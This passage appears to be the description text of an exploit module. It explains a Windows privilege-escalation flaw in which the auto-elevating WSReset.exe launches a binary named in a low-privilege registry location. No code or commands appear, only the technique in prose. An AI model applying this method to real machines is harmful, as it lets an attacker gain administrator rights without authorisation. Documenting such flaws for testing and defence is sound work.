        This module exploits a flaw in the WSReset.exe file associated with the Windows
        Store.  This binary has autoelevate privs, and it will run a binary file
        contained in a low-privilege registry location.  By placing a link to
        the binary in the registry location, WSReset.exe will launch the binary as
        a privileged user.
